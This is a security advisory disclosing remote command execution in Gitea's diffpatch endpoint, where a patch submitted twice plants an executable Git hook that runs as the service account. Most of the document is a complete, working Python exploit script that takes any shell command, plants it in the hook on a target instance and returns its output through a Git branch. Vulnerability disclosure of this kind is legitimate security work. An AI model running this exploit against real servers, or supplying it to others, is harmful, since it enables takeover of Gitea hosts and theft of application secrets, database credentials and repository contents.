GHSA-rcr6-4jqh-j84m

### Summary

Gitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.

An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.

### Details

`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:

```go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") } ````

Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.

In a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:

```text hooks/post-index-change ```

becomes a live Git hook.

Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.

The hook's return value is not propagated to the `diffpatch` response.

The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.

### PoC

The supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.

Set the account password:

```bash export GITEA_PASSWORD='account-password' ```

Execute a command through the `diffpatch` chain:

```bash python3 ./gitea_diffpatch_rce_poc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd' ```

The script:

* Creates an initialized private repository. * Submits the same executable-hook patch twice. * Fetches the result branch. * Prints the command's combined stdout, stderr, and exit status. * Prints the evidence repository, ref, and commit IDs to stderr.

Expected output resembles:

```text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/...

[exit-status=0] ```

The trigger requires:

* Git 2.32 or newer. * An enabled `diffpatch` route. * A writable and executable temporary filesystem.

Open registration is required only for the no-prior-credentials attack path.

### Impact

This is remote command execution as the Gitea service account (`CWE-94`).

Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:

* `app.ini` and Gitea application secrets. * Process environment secrets. * Mounted repositories. * Database credentials and database contents. * OAuth and integration credentials. * Other internal or externally reachable services.

With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.

<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />

```python #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Gitea RCE PoC – authorized testing only. """

from __future__ import annotations

import argparse import base64 import getpass import hashlib import json import os from pathlib import Path

import secrets import shlex import shutil import subprocess import sys import tempfile

from typing import Any import urllib.error import urllib.parse import urllib.request

TIMEOUT = 30.0 USER_AGENT = "gitea-rce-poc/2.0"

_RST = "\033[0m" _DIM = "\033[2m" _GRN = "\033[38;5;46m" # bright green _RED = "\033[31m" # red for errors

def _g(t: str) -> str: return f"{_GRN}{t}{_RST}" def _r(t: str) -> str: return f"{_RED}{t}{_RST}" def _d(t: str) -> str: return f"{_DIM}{t}{_RST}"

def log_star(msg: str) -> None: print(f"{_g('[*]')} {_d(msg)}") def log_ok (msg: str) -> None: print(f"{_g('[+]')} {_g(msg)}") def log_err (msg: str) -> None: print(f"{_r('[-]')} {_r(msg)}")

_SEP = " " + "═" * 44 BANNER = f"{_SEP}\n GITEA REMOTE CODE EXECUTION POC\n{_SEP}"

def print_banner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(_g(line)) print() ver = version or "unknown" print(_g(" " + "-" * 54)) print(_g(f" Target : {url}")) print(_g(f" Version : {ver}")) if command: print(_g(f" Command : {command}")) print(_g(" " + "-" * 54)) print()

class PocError(RuntimeError): pass

class GiteaClient: def __init__(self, base_url: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(base_url) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.base_url = base_url.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}"

def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.base_url + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USER_AGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2_000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON")

def blob_oid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest()

def build_hook(command: str, leak_ref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leak_ref}") return ( "#!/bin/sh\n" 'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n' 'case "$origin_objects" in\n' ' /*) ;;\n' ' *) origin_objects="$git_dir/objects/$origin_objects" ;;\n' "esac\n" 'origin_git=${origin_objects%/objects}\n' '[ "$origin_git" != "$origin_objects" ] || exit 3\n' f"output_blob=$({{ /bin/sh -c {qcmd}; " 'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | ' 'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | ' 'git --git-dir="$origin_git" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid " "GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid " 'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode()

def build_patch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'*40}..{blob_oid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()

def run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, *arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout

def fetch_output(git: str, client: GiteaClient, owner: str, repo: str, leak_ref: str) -> bytes: remote = ( f"{client.base_url}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" auth_cfg = Path(tmp) / "auth.config" fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"} run_git(git, ["init", "--bare", "--quiet", str(bare)], env) run_git(git, [ "-C", str(bare), "-c", f"include.path={auth_cfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leak_ref}", ], env) return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)

def split_output(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status

def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.add_argument("url", help="Gitea base URL") p.add_argument("username", help="existing Gitea username") p.add_argument("command", help="shell command to execute on target") return p.parse_args()

def main() -> int: args = parse_args() if "\0" in args.command: raise PocError("command must not contain a NUL character")

password = os.environ.get("GITEA_PASSWORD") or getpass.getpass( _g("[?]") + " password: " ) if not password: raise PocError("password must not be empty")

git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH")

client = GiteaClient(args.url, args.username, password)

# version probe (pre-banner) log_star("probing target...") version: str | None = None try: r = urllib.request.Request( client.base_url + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USER_AGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" print_banner(client.base_url, version, args.command)

log_star(f"target={client.base_url} user={args.username} cmd={args.command}") print()

# step 1 – authenticate log_star("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): log_err("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: log_err("no login in response"); raise PocError("no login") log_ok(f"logged in as {owner} ({version})")

# step 2 – create repo unique = secrets.token_hex(5) repo = f"test-repo-{unique}" leak_ref = f"output-{unique}" log_star("creating repository...") sc, _ = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "auto_init": True, "default_branch": "main", "object_format_name": "sha1", }) if sc != 201: log_err("repo creation failed"); raise PocError("repo creation failed") log_ok(f"created repo {owner}/{repo}")

# steps 3–4 – deliver payloads body = { "content": build_patch(build_hook(args.command, leak_ref)), "message": "initial commit", "branch": "main", "new_branch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): log_star(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: log_err(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: log_err(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}")

# step 5 – retrieve output log_star("retrieving output...") output = fetch_output(git, client, owner, repo, leak_ref) log_ok("operation complete")

# command output cmd_out, exit_status = split_output(output) print() log_ok(f"{args.command}:") print(_g("---")) if cmd_out: for line in cmd_out.splitlines(): print(_g(line)) else: print(_d("<no output>")) print(_g("---")) if exit_status == 0: log_ok(f"exit status: {exit_status}") elif exit_status is None: log_star("exit status: unknown") else: log_err(f"exit status: {exit_status}")

return 0

if __name__ == "__main__": try: raise SystemExit(main()) except PocError as exc: log_err(str(exc)) raise SystemExit(1) from None

```